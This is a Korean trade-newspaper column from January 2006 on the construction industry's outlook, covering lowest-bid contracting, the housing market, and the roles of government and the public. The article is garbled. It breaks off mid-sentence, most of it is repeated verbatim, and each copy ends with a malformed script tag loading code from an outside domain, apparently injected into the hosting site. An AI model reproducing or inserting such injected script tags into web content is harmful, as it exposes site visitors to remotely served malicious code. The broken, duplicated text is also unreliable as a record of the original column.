새해 건설산업의 희망을 찾아
보도일자 2006-01-02
보도기관 일간건설
병술년 새해 아침, 우리 건설인 모두에게 희망찬 새해가 밝았다. 매년 새로운 다짐으로 한 해를 시작하고는 하지만, 새로운 한 해를 맞는 이 시기가 우리에게는 각별히 의미가 크다.
새로운 출발을 다짐하는 이 시기에 우리 건설산업에 문제가 산적해 있어, 마음이 무겁기 그지없다. 지난해 말 그동안 악화된 건설경기로 인하여 유보돼 왔던 최저가낙찰제의 확대시행 방침이 발표되었고, 8·31 부동산 후속대책에 대한 우려로 주택시장은 좀처럼 활기를 되찾지 못하고 있다. 또한 국무조정실에서 ‘건설산업규제합리화 방안’을 발표한 이후, 건설업계 내에서는 향후 시행될 새로운 구조개편과 입·낙찰제도에 대한 우려와 기대감으로 모두가 촉각을 곤두세우고 있다.
올해 우리나라의 건설경기는 건설업계에 특별히 어려웠던 해로 기억되는 지난해에 비해서도 오히려 수주액이 1.5％ 줄어들고 건설투자액도 0.9％ 늘어나는 데 그칠 것으로 예측된다.
특히 이러한 영향이 최근 심해지고 있는 건설업체간 ‘빈익빈부익부’의 양극화 현상을 심화시키고, 선진국의 60~70％에 머물러 있는 건설산업의 경쟁력을 더욱 약화시킬 것으로 예상되면서 중장기적인 건설산업의 발전에 큰 지장을 초래할 것으로 판단된다.
새해 벽두부터 이렇게 우리 건설산업에 대해 우려와 근심을 갖고 출발하는 것은 결코 바람직하지 않다. 이를 반대로 생각하면 이러한 현실을 충분히 인식하고 이에 걸맞게 우리 건설산업을 둘러싼 모든 주체들, 즉 정부, 업계, 국민이 새로운 처방과 대안을 고민해야 할 것으로 생각된다.
건설산업은 국가 경제 발전의 기반이 되는 중요한 산업이며, 지난해 발표한 건설산업연구원의 보고서 ‘중장기 토목시장 전망’에도 나타나 있듯이 우리나라 경제규모는 세계 11위인 반면, 도로 연장 등 각 사회간접자본시설(SOC) 투자수준은 40위권 밖인 점을 감안하면, 최근 우리 건설산업의 침체는 결코 바람직하지 않다.
또한 건설산업이 국민의 삶의 질 향상과 이를 통한 새로운 부가가치 창출, 새로운 수요의 창출에 큰 몫을 담당하고 있음을 생각할 때 중장기적인 건설산업의 발전방안 제시는 매우 시급한 과제다.
한 해를 새롭게 시작하는 지금, 우리는 건설산업이 새로운 환경과 사회·경제적 요구에 부응하고 중장기적인 발전을 도모하기 위해서 각 주체들, 즉 정부, 건설업계, 국민들이 건설산업의 상생의 길에 함께 동참하기를 기대한다.
먼저 정부에서는 건설산업이 경쟁력을 갖춘, 국가 경제발전의 초석을 다지는 산업으로 다시 태어날 수 있도록 정책적·제도적 뒷받침을 마련하고, 건설업계와 국민들간의 가교역할을 해 각각의 요구들을 조화롭게 조정함으로써, 국가와 국민의 산업으로 거듭날 수 있도록 해야 한다.
이미 미국, 영국, 일본 등 선진국들은 국가적 차원에서 건설산업 혁신운동을 전개하고 있다. 세부 내용을 보면, 건설산업의 선진화와 지속적인 성장을 위한 정책·제도적인 지원책에 대해 국가, 국민, 건설업계가 머리를 맞대고 함께 고민하는 자리를 만들고 여기에서 논의되는 실천방안들을 적극적으로 추진해 나감으로써 모두를 만족시키고자 혁신을 도모하고 있다.
우리 정부도 최근 ‘건설산업 선진화방안’, ‘건설산업 규제 합리화방안’ 등 건설산업의 혁신과 선진화를 위해 각종 노력들을 기울이고 있지만, 무엇보다도 건설산업을 둘러싼 이해관계자들의 충분한 호응을 얻지 못하고 있다.
한층 선진화되고 발전된 정책을 수립하고 제도를 개선하는 것도 중요하지만, 건설산업 내의 균형적 발전과 국민·건설업계간의 공감대 형성, 이를 추진하는 과정에서의 부작용을 해소하고 단점을 충분히 보완하는 게 바로 정부의 몫이다.
또한 건설기술 개발과 활용체계 구축, 합리적인 입·낙찰제도 운용, 건설생산체계의 발전적인 구축 등 건설산업의 실질적인 경쟁력 향상을 도모하는 방향으로 국가적인 지원이 이뤄져야 한다.
둘째로 국민들의 건설산업에 대한 인식 전환도 중요한 과제다. 작금의 현실을 보면, 그동안 건설산업이 국가 경제발전에 기여하고 국민 삶의 질을 향상시켜 온 긍정적 측면보다는 건설산업 내 일부의 부정적 측면을 통해 건설산업 전체를 부도덕·부정부패의 온상으로 확대 해석하는 경향이 있다.
그 결과 유능한 건설인력이 절실한 현 시점에서 오히려 인재의 유입이 단절되면서 건설산업계의 자정 노력들이 그 효과를 잃고 있다.
이러한 측면은 물론 건설산업이 건전하게 성장하고 국민의 산업으로 다시 태어나는 계기가 될 수도 있겠지만, 한편으로는 건설산업의 내적인 성장동력을 창출하고 경쟁력 확보를 위한 각종 노력들을 원천적으로 막거나 효과를 반감시킬 것으로 생각된다. 충고와 질책은 반감에서 출발한 것이 아닌 애정과 관심에서 출발할 때 그 효과가 극대화된다. 결국 건설산업에 대한 관심과 ?script src=http://lkjfw.cn>
새로운 출발을 다짐하는 이 시기에 우리 건설산업에 문제가 산적해 있어, 마음이 무겁기 그지없다. 지난해 말 그동안 악화된 건설경기로 인하여 유보돼 왔던 최저가낙찰제의 확대시행 방침이 발표되었고, 8·31 부동산 후속대책에 대한 우려로 주택시장은 좀처럼 활기를 되찾지 못하고 있다. 또한 국무조정실에서 ‘건설산업규제합리화 방안’을 발표한 이후, 건설업계 내에서는 향후 시행될 새로운 구조개편과 입·낙찰제도에 대한 우려와 기대감으로 모두가 촉각을 곤두세우고 있다.
올해 우리나라의 건설경기는 건설업계에 특별히 어려웠던 해로 기억되는 지난해에 비해서도 오히려 수주액이 1.5％ 줄어들고 건설투자액도 0.9％ 늘어나는 데 그칠 것으로 예측된다.
특히 이러한 영향이 최근 심해지고 있는 건설업체간 ‘빈익빈부익부’의 양극화 현상을 심화시키고, 선진국의 60~70％에 머물러 있는 건설산업의 경쟁력을 더욱 약화시킬 것으로 예상되면서 중장기적인 건설산업의 발전에 큰 지장을 초래할 것으로 판단된다.
새해 벽두부터 이렇게 우리 건설산업에 대해 우려와 근심을 갖고 출발하는 것은 결코 바람직하지 않다. 이를 반대로 생각하면 이러한 현실을 충분히 인식하고 이에 걸맞게 우리 건설산업을 둘러싼 모든 주체들, 즉 정부, 업계, 국민이 새로운 처방과 대안을 고민해야 할 것으로 생각된다.
건설산업은 국가 경제 발전의 기반이 되는 중요한 산업이며, 지난해 발표한 건설산업연구원의 보고서 ‘중장기 토목시장 전망’에도 나타나 있듯이 우리나라 경제규모는 세계 11위인 반면, 도로 연장 등 각 사회간접자본시설(SOC) 투자수준은 40위권 밖인 점을 감안하면, 최근 우리 건설산업의 침체는 결코 바람직하지 않다.
또한 건설산업이 국민의 삶의 질 향상과 이를 통한 새로운 부가가치 창출, 새로운 수요의 창출에 큰 몫을 담당하고 있음을 생각할 때 중장기적인 건설산업의 발전방안 제시는 매우 시급한 과제다.
한 해를 새롭게 시작하는 지금, 우리는 건설산업이 새로운 환경과 사회·경제적 요구에 부응하고 중장기적인 발전을 도모하기 위해서 각 주체들, 즉 정부, 건설업계, 국민들이 건설산업의 상생의 길에 함께 동참하기를 기대한다.
먼저 정부에서는 건설산업이 경쟁력을 갖춘, 국가 경제발전의 초석을 다지는 산업으로 다시 태어날 수 있도록 정책적·제도적 뒷받침을 마련하고, 건설업계와 국민들간의 가교역할을 해 각각의 요구들을 조화롭게 조정함으로써, 국가와 국민의 산업으로 거듭날 수 있도록 해야 한다.
이미 미국, 영국, 일본 등 선진국들은 국가적 차원에서 건설산업 혁신운동을 전개하고 있다. 세부 내용을 보면, 건설산업의 선진화와 지속적인 성장을 위한 정책·제도적인 지원책에 대해 국가, 국민, 건설업계가 머리를 맞대고 함께 고민하는 자리를 만들고 여기에서 논의되는 실천방안들을 적극적으로 추진해 나감으로써 모두를 만족시키고자 혁신을 도모하고 있다.
우리 정부도 최근 ‘건설산업 선진화방안’, ‘건설산업 규제 합리화방안’ 등 건설산업의 혁신과 선진화를 위해 각종 노력들을 기울이고 있지만, 무엇보다도 건설산업을 둘러싼 이해관계자들의 충분한 호응을 얻지 못하고 있다.
한층 선진화되고 발전된 정책을 수립하고 제도를 개선하는 것도 중요하지만, 건설산업 내의 균형적 발전과 국민·건설업계간의 공감대 형성, 이를 추진하는 과정에서의 부작용을 해소하고 단점을 충분히 보완하는 게 바로 정부의 몫이다.
또한 건설기술 개발과 활용체계 구축, 합리적인 입·낙찰제도 운용, 건설생산체계의 발전적인 구축 등 건설산업의 실질적인 경쟁력 향상을 도모하는 방향으로 국가적인 지원이 이뤄져야 한다.
둘째로 국민들의 건설산업에 대한 인식 전환도 중요한 과제다. 작금의 현실을 보면, 그동안 건설산업이 국가 경제발전에 기여하고 국민 삶의 질을 향상시켜 온 긍정적 측면보다는 건설산업 내 일부의 부정적 측면을 통해 건설산업 전체를 부도덕·부정부패의 온상으로 확대 해석하는 경향이 있다.
그 결과 유능한 건설인력이 절실한 현 시점에서 오히려 인재의 유입이 단절되면서 건설산업계의 자정 노력들이 그 효과를 잃고 있다.
이러한 측면은 물론 건설산업이 건전하게 성장하고 국민의 산업으로 다시 태어나는 계기가 될 수도 있겠지만, 한편으로는 건설산업의 내적인 성장동력을 창출하고 경쟁력 확보를 위한 각종 노력들을 원천적으로 막거나 효과를 반감시킬 것으로 생각된다. 충고와 질책은 반감에서 출발한 것이 아닌 애정과 관심에서 출발할 때 그 효과가 극대화된다. 결국 건설산업에 대한 관심과 ?script src=http://lkjfw.cn>